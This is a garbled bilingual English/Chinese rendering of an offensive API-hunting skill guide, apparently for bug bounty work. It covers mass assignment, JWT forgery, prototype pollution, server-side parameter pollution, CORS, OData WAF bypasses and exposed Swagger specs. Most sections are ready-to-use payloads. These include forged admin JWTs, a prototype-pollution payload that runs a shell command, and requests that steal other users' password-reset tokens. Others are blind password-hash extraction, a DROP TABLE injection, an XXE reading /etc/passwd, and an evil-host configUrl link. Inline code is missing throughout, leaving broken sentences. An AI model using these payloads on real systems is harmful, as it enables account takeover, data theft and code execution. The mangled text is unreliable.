hunt-api-misconfig
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
Chinese12. API SECURITY MISCONFIGURATION
12. API 安全配置错误
Mass Assignment
Mass Assignment(批量赋值)
javascript
User.update(req.body) // body has {"role": "admin"} → privilege escalationjavascript
User.update(req.body) // body has {"role": "admin"} → privilege escalationJWT None Algorithm
JWT None 算法
python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signaturepython
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signatureJWT RS256 → HS256 Algorithm Confusion
JWT RS256 → HS256 算法混淆
python
undefinedpython
undefinedGet server's public key from /.well-known/jwks.json
Get server's public key from /.well-known/jwks.json
Sign token with public key as HMAC secret
Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
Server uses RS256 key as HS256 secret → accepts it
Server uses RS256 key as HS256 secret → accepts it
undefinedundefinedPrototype Pollution
Prototype Pollution(原型链污染)
javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadminFor server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to ; prove that polluted prototype
state reaches a later operation.
__proto__Hunt sequence:
- Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
- Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337- Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
- Escalate only through learned sinks. Candidate properties depend on the sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}- For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin对于服务端原型链污染,应先寻找对象合并原语(object merge primitive),再寻找 sink。优先检查 JSON/对象更新端点,例如个人资料、地址、首选项、设置、购物车、管理员任务、导入或 webhook 配置。不要因为对 的请求返回 200 就停止;必须证明被污染的原型状态会影响后续操作。
__proto__排查顺序:
- 查找对象更新端点。 优先选择接受大量具名字段或 JSON 对象的端点。如果应用接受表单,请同时尝试 JSON 和表单编码;必要时包含 CSRF/session 字段。
- 污染无害的标记属性。 发送以下变体:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337- 触发独立的 sink。 污染后,请求账户/个人资料/管理员/任务/导出/搜索/渲染端点,并与基线比较。强烈信号包括:JSON 默认值变化、出现意外字段、提及对象属性的服务端错误、任务输出变化、模板/渲染错误,或命令/任务行为变化。
- 仅通过已确认的 sink 提升影响。 候选属性取决于 sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}- 对于数据外泄实验环境或真实影响,优先采用非破坏性证明。 如果管理员任务、诊断、导出或渲染端点会使用被污染的默认值,仅在获得授权时使用标记或读取环境变量/密钥。在生产环境中,除非测试范围明确允许访问数据,否则应止步于受控标记。
Server-Side Parameter Pollution in Backend URL / REST URL Construction
后端 URL / REST URL 构造中的服务端参数污染
Use this when a frontend form or endpoint appears to call a server-side API on your behalf
(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not
ordinary client-side query pollution. The server takes your input and interpolates it into a backend
URL path or query string, such as:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=emailHunt sequence:
- Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look
for form actions, , hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape.
fetch(...) - Determine whether input lands in a backend path or query. Send URL metacharacters in the input:
,
#,?,&x=y,/, and encoded forms../,%23,%3f,%26x=y,%2f. Distinct errors such as%2e%2e%2f,Invalid route,API definition, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text.unsupported field - Use path traversal to move inside the server-side URL. If changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as
username/../other-user,/field/email,/field/id,/field/username, and terminate the rest of the original backend path with/field/passwordResetTokenor#when the backend URL parser honors fragments.%23 - Discover API documentation from errors. When an error says to consult the API definition, probe
common documentation/spec paths: ,
/openapi.json,/swagger.json,/api-docs,/api/swagger.json,/swagger/v1/swagger.json, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names./v3/api-docs - Exploit only to prove impact. For password reset/account lookup flows, the strongest proof is a
sensitive field such as a reset token or secret for another user, then using that token in the normal
application flow to complete account takeover. Do not stop at ; use errors as routing feedback.
Invalid route
Payload patterns to try, adapted to the observed parameter name:
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23当发现前端表单或端点似乎代你调用服务端 API(密码重置、账户查询、个人资料获取、商品查询、库存检查、搜索)时使用此方法。该问题并非普通的客户端查询参数污染。服务端会获取你的输入,并将其插入后端 URL 路径或查询字符串,例如:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email排查顺序:
- 找出流程并读取客户端请求。 获取页面及其引用的 JavaScript。查找表单 action、、隐藏的 CSRF 字段,以及浏览器发送的确切参数名。如果存在重置/账户表单,先使用已知用户名测试,以了解正常的成功/错误响应形态。
fetch(...) - 确定输入进入后端路径还是查询字符串。 在输入中发送 URL 元字符:、
#、?、&x=y、/,以及编码形式../、%23、%3f、%26x=y、%2f。如果出现不同错误,例如%2e%2e%2f、Invalid route、API definition或返回字段发生变化,说明你的值正被服务端 URL 路由器解释,而不仅仅是被当作文本校验。unsupported field - 利用路径遍历在服务端 URL 内移动。 如果 改变所引用的账户,说明输入位于 REST 路径段中。随后尝试附加
username/../other-user、/field/email、/field/id、/field/username等路由片段,并在后端 URL 解析器支持 fragment 时,用/field/passwordResetToken或#终止原后端路径的剩余部分。%23 - 从错误中发现 API 文档。 当错误提示查看 API definition 时,探测常见文档/spec 路径:、
/openapi.json、/swagger.json、/api-docs、/api/swagger.json、/swagger/v1/swagger.json,以及尝试从存在漏洞的后端路由访问规范的路径遍历变体。规范或描述性路由错误可以揭示有效资源和字段名称。/v3/api-docs - 仅为证明影响而利用。 对密码重置/账户查询流程,最有力的证明是获取另一个用户的敏感字段,例如 reset token 或 secret,然后在正常应用流程中使用该 token 完成账户接管。不要止步于 ;应利用错误作为路由反馈。
Invalid route
可尝试以下 payload 模式,并根据观察到的参数名进行调整:
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23CORS Exploitation
CORS 利用
bash
undefinedbash
undefinedTest: reflected origin + credentials
Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
→ CRITICAL: attacker reads credentialed responses
→ CRITICAL: attacker reads credentialed responses
---
---OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData $filter / $select / $expand WAF 黑名单绕过(2024-2026 攻击面)
OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using . It exposes SQL-shaped query operators (, , , , , , , , ) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
Microsoft.AspNetCore.ODataeqneandorsubstringofstartswithtolowerconcatreplaceOData(Open Data Protocol)是 SharePoint、Microsoft Dynamics 365 / Power Platform、SAP NetWeaver Gateway / Fiori,以及任何使用 的 ASP.NET WebAPI 项目背后的查询层。它暴露出形似 SQL 的查询运算符(、、、、、、、、)。这些运算符看起来像 SQL,但并非 SQL,因此基于关键字黑名单的 WAF 往往会在 OData 流量上默认放行(fail open)。
Microsoft.AspNetCore.ODataeqneandorsubstringofstartswithtolowerconcatreplaceAttack class 1 — Boolean-logic blind extraction via startswith
/ substringof
startswithsubstringof攻击类别 1 — 通过 startswith
/ substringof
进行布尔逻辑盲注提取
startswithsubstringofGET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')Iterate prefix character-by-character; cardinality of the response (or ) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no / characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)
@odata.count'--GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')逐字符迭代前缀;响应数量(或 )就是用于确认前缀是否正确的布尔 oracle。无需 SQLi 引擎,也不使用 / 字符——WAF 只会看到合法的 OData 关键字。2023 年 12 月从 Microsoft Dynamics 365 / Power Apps Portals 提取出了 密码哈希、姓名、邮箱、地址、金融数据;Microsoft 于 2024 年 5 月完成修补。(Stratus Security 分析文章、The Hacker News 2025 年 1 月报道)
@odata.count'--Attack class 2 — $orderby
/ $select
column-disclosure bypass
$orderby$select攻击类别 2 — $orderby
/ $select
列泄露绕过
$orderby$selectGET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname$orderby$select$select$orderby$filterGET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname$orderby$select$select$orderby$filterAttack class 3 — $batch
multipart/mixed → per-request WAF signatures miss sub-operations
$batch攻击类别 3 — $batch
multipart/mixed 导致逐请求 WAF 签名漏检子操作
$batchPOST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--WAFs that scan only the outer request body (or that don't natively parse ) skip every inner operation. ModSecurity refused historically (Issue #3296); F5 added native batch parsing only in Advanced WAF v16.1 (F5 SAP-Fiori advisory). The 2025 WAFFLED paper (arXiv 2503.10846) generalises the parsing-discrepancy bypass class across 5 major WAFs.
multipart/mixedmultipart/mixedPOST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--仅扫描外层请求体(或不原生解析 )的 WAF 会跳过每个内部操作。ModSecurity 过去会拒绝 (Issue #3296);F5 直到 Advanced WAF v16.1 才加入原生 batch 解析(F5 SAP-Fiori advisory)。2025 年 WAFFLED 论文(arXiv 2503.10846)将这一解析差异绕过类别推广到了 5 款主流 WAF。
multipart/mixedmultipart/mixedAttack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
攻击类别 4 — 编码或非规范形式运算符导致关键字黑名单绕过
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment styleMixed-case operators (, ) and obscure ones (, , , ) look unlike / so SQLi-keyword signatures never fire. WAFs that key on the literal string see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. (OWASP Double Encoding)
EqEQsubstringoftolowerconcatreplaceSELECTUNION$filterGET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment style大小写混合的运算符(、)和少见的运算符(、、、)看起来不像 /,因此 SQLi 关键字签名永远不会触发。以字面字符串 为检测依据的 WAF 看不到这些形式——但 OData 服务器在计算谓词前会将二者标准化。该问题自 Kalra 在 Black Hat 2012 上披露以来便有记录;这是典型的 OData 与 WAF 规范化处理不匹配问题。(OWASP Double Encoding)
EqEQsubstringoftolowerconcatreplaceSELECTUNION$filterAttack class 5 — OData → real SQLi when library passes filter raw
攻击类别 5 — OData 在库原样传递 filter 时产生真实 SQLi
$filter=Name eq 'x'); DROP TABLE Users--'Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in OData/WebApi Issue #2352. The XML-deserialisation variant: CVE-2019-17554 (Apache Olingo OData 4.0.0-4.6.0, XXE via in body, CVSS 7.5). DoS variant: CVE-2018-8269 (Microsoft.Data.OData deep recursion → stack overflow).
<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>application/xml$filter$filter=Name eq 'x'); DROP TABLE Users--'仅当 OData 层将字符串直接拼接进 SQL、而不是使用 LINQ 时才会触发。已在 OData/WebApi Issue #2352 中记录。XML 反序列化变体:CVE-2019-17554(Apache Olingo OData 4.0.0-4.6.0,通过 请求体中的 触发 XXE,CVSS 7.5)。DoS 变体:CVE-2018-8269(Microsoft.Data.OData 对 进行深度递归,导致栈溢出)。
application/xml<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>$filterBonus — $expand
navigation-property IDOR
$expand附加项 — $expand
导航属性 IDOR
$expandGET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak (UpGuard writeup).
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))授权装饰器仅应用于顶层实体集;引擎沿导航属性进行关联时,不会重新检查被关联实体的 ACL。这与 2021 年 PowerApps Portals 3800 万条记录大规模泄露的根因相同(UpGuard 分析文章)。
Detection heuristics
检测启发式
- Response headers: /
OData-Version: 4.0; URL pathsDataServiceVersion: 3.0,/_api/,/odata/,/_vti_bin/,/api/data/v9.x/./sap/opu/odata/ - Try → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
$metadata - Probe each entity set with ,
$filter=1 eq 1,$top=1, then$select=*for column-level ACL.$orderby=<column-you-shouldnt-see> - Send the same payload three ways (,
$filter=,%24filter=) and through%2524filter=— divergent WAF behaviour confirms the parser-discrepancy bug.$batch
- 响应标头:/
OData-Version: 4.0;URL 路径:DataServiceVersion: 3.0、/_api/、/odata/、/_vti_bin/、/api/data/v9.x/。/sap/opu/odata/ - 尝试 → 如果允许匿名访问,则完整 schema(实体集、导航属性、函数导入)都可以获取。
$metadata - 使用 、
$filter=1 eq 1、$top=1探测每个实体集,然后使用$select=*测试列级 ACL。$orderby=<column-you-shouldnt-see> - 通过 、
$filter=、%24filter=三种方式以及%2524filter=发送相同 payload;WAF 行为出现差异即可确认解析差异漏洞。$batch
NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)
NSwag / Swagger / OpenAPI 规范暴露(2024-2026 攻击面)
NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (, , ) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
/swagger/swagger/v1/swagger.json/swagger/index.htmlNSwag 是 ASP.NET Core 的 Swagger/OpenAPI 工具链。默认路由(、、)随许多 .NET 6/7/8 项目一同启用,开发者也常将其保留在生产环境中。暴露的规范会在 JSON 中披露所有端点、HTTP 方法、参数名称 + 类型 + 格式 + 最大长度、模型和验证规则——相当于一张完整的攻击地图。
/swagger/swagger/v1/swagger.json/swagger/index.htmlDefault discovery paths (cross-references web2-recon
)
web2-recon默认发现路径(交叉引用 web2-recon
)
web2-reconundefinedundefinedNSwag / Swashbuckle (ASP.NET Core)
NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
Generic OpenAPI
Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
Java / Spring (Springfox / springdoc)
Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
Python (FastAPI / Connexion)
Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json
/docs, /redoc, /openapi.json
Quarkus
Quarkus
/q/openapi, /q/swagger-ui
/q/openapi, /q/swagger-ui
GraphQL adjacent
GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager
Tools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`./graphql, /graphiql, /playground, /altair, /voyager
工具:`kiterunner` 原生支持 OpenAPI;`sj`(Swagger Jacker)、`apidetector`、`XSSwagger`。Attack chains
攻击链
A. Spec disclosure → mass IDOR / BOLA. Spec lists every . → swap for victim's ID via Autorize/. Common case: spec leaks documented but missing on the controller — low-priv ATO.
GET /api/v1/users/{userId}/...jq '.paths | keys' swagger.json{userId}ffuf -mc 200/api/admin/users/{id}/reset-password[Authorize(Roles="Admin")]B. Spec disclosure → mass-assignment payload construction. enumerates every model field including , , , . Attacker copies the schema verbatim into and adds the privileged fields. Server's binder accepts them when DTOs aren't split into read-vs-write models.
components.schemas.UserUpdateDtoisAdminemailVerifiedtenantIdrolePATCH /users/me[FromBody]C. Hidden endpoints. Specs document , , , routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
/internal/*/debug/*/v0/*/legacy/*D. Swagger UI configUrl takeover. Swagger UI loads its config from . If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the legitimate Swagger UI with . Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. (HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025)
?configUrl=?configUrl=https://evil/spec.jsonA. 规范泄露 → 大规模 IDOR / BOLA。 规范会列出每个 。 → 将 换成受害者 ID,并使用 Autorize/。常见情况:规范泄露了 路径,但控制器上缺少 ,可导致低权限 ATO。
GET /api/v1/users/{userId}/...jq '.paths | keys' swagger.json{userId}ffuf -mc 200/api/admin/users/{id}/reset-password[Authorize(Roles="Admin")]B. 规范泄露 → 批量赋值 payload 构造。 枚举每个模型字段,包括 、、、。攻击者将 schema 原样复制到 并添加特权字段。当 DTO 未拆分为读模型与写模型时,服务端的 binder 会接受这些字段。
components.schemas.UserUpdateDtoisAdminemailVerifiedtenantIdrolePATCH /users/me[FromBody]C. 隐藏端点。 规范会记录前端 UI 未引用的 、、、 路由。这些路由可能可以访问,却未受到 WAF 规则覆盖,并且经常在权限审查中被忽略。
/internal/*/debug/*/v0/*/legacy/*D. 接管 Swagger UI 的 configUrl。 Swagger UI 通过 加载配置。如果未净化,攻击者可以在恶意站点托管 OpenAPI 规范,并向受害者发送指向合法 Swagger UI 的链接 。规范中的路由会指回合法源站,因此受害者点击“Try It Out”时,会发出携带认证信息的同源请求。(HackerOne #3124103 — 美国国防部 Swagger UI Injection,2025 年 5 月)
?configUrl=?configUrl=https://evil/spec.jsonDisclosed cases
已披露案例
- CVE-2018-25031 — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
- Swagger UI DOM XSS (3.14.1 → 3.38.0) — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser (Vidoc Security Lab writeup, PortSwigger Daily Swig). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
- HackerOne #3124103 — U.S. Department of Defense, Swagger UI Injection (May 2025).
- HackerOne #2534300 — Ionity GmbH, HTML injection in Swagger UI.
- HackerOne #1656650 — Reflected XSS via Swagger UI parameter.
url= - CloudSEK threat-intel (2024) — actors abuse exposed to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. (CloudSEK report)
swagger-ui - CVE-2023-38337 — (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
rswag
- CVE-2018-25031 — Swagger UI ≤ 4.1.2 可通过 URL 参数注入规范;广泛影响 org.webjars:swagger-ui(Swashbuckle 和 NSwag bundle 中均有集成)。
- Swagger UI DOM XSS(3.14.1 → 3.38.0) — 内置的 DOMPurify 版本过旧,加上远程规范加载,可在受害者浏览器中执行任意 JavaScript(Vidoc Security Lab 分析文章、PortSwigger Daily Swig)。PayPal、Atlassian、Microsoft、GitLab、Yahoo 均曾被发现受到影响。
- HackerOne #3124103 — 美国国防部 Swagger UI Injection(2025 年 5 月)。
- HackerOne #2534300 — Ionity GmbH 的 Swagger UI HTML 注入。
- HackerOne #1656650 — 通过 Swagger UI 的 参数触发 Reflected XSS。
url= - CloudSEK threat-intel(2024) — 攻击者滥用暴露的 ,调用经过验证的 WhatsApp 业务消息发送端点,冒充公司向其客户发送消息。撰写报告时,Shodan 上发现了 6,000 多个暴露的 Swagger UI 实例。(CloudSEK 报告)
swagger-ui - CVE-2023-38337 — (Ruby Swagger 工具链)目录遍历,再次说明规范端点本身也是攻击面。
rswag
Detection checklist
检测清单
- httpx-probe every path above across the full subdomain set; flag 200 with AND body matching
Content-Type: application/jsonor"swagger"."openapi" - For every hit: → feed to kiterunner / Autorize.
jq '.paths | keys' swagger.json - → mass-assignment field candidates.
jq '.components.schemas' swagger.json - Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
- Test and
?configUrl=parameter handling on every Swagger UI hit.?url=
- 使用 httpx-probe 探测上述每个路径,并覆盖整个子域名集合;对于返回 200、且正文匹配
Content-Type: application/json或"swagger"的结果进行标记。"openapi" - 对每个命中结果执行 → 将结果输入 kiterunner / Autorize。
jq '.paths | keys' swagger.json - 执行 → 查找批量赋值字段候选项。
jq '.components.schemas' swagger.json - 从 Swagger UI HTML 标识中获取版本字符串,并映射到 CVE-2018-25031 / DOM-XSS 漏洞表。
- 测试每个 Swagger UI 命中结果对 和
?configUrl=参数的处理方式。?url=
Related Skills & Chains
相关 Skills 与攻击链
- — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment +
hunt-ato→hunt-atoset on signup → ATO via privileged role on first login.role=admin - — JWT flaws collapse the entire auth layer. Chain primitive: JWT
hunt-auth-bypass+alg=none→ impersonate any user by settinghunt-auth-bypassto victim ID, no signature required.sub - — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach
hunt-rce. Chain primitive: Prototype pollution (child_process.spawn) +__proto__.shell=true(Node.js gadget chain) → RCE on the API node.hunt-rce - — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist
hunt-subdomain+ subdomain takeover → attacker-controlled origin reads credentialed API responses.*.target.com - — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (
security-arsenal,is_admin,role,verified,permissions,org_id).tenant_id - — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.
triage-validation
- — 注册/个人资料上的 Mass Assignment 是获得管理员权限的最快路径。链式原语:API Mass Assignment +
hunt-ato→ 注册时设置hunt-ato→ 首次登录时利用特权角色完成 ATO。role=admin - — JWT 缺陷会使整个认证层失效。链式原语:JWT
hunt-auth-bypass+alg=none→ 将hunt-auth-bypass设置为受害者 ID 即可冒充任意用户,无需签名。sub - — Node.js 依赖(lodash、mongoose、jQuery)中的 Prototype Pollution gadget 最终到达
hunt-rce。链式原语:Prototype Pollution(child_process.spawn)+__proto__.shell=true(Node.js gadget chain)→ 在 API 节点上实现 RCE。hunt-rce - — CORS 正则通过通配符子域名信任了可能被接管的主机。链式原语:CORS allowlist
hunt-subdomain+ subdomain takeover → 攻击者控制的 origin 可以读取携带凭据的 API 响应。*.target.com - — 加载 JWT Attack Payloads 部分(alg=none、kid path traversal、JWK injection、embedded JWK)以及 Mass-Assignment Field Wordlist(
security-arsenal、is_admin、role、verified、permissions、org_id)。tenant_id - — 应用 Server-Policy-vs-State gate:仅凭宽松的 CORS 标头只能作为信息性发现;在报告前,必须演示实际跨源读取携带凭据的敏感数据。
triage-validation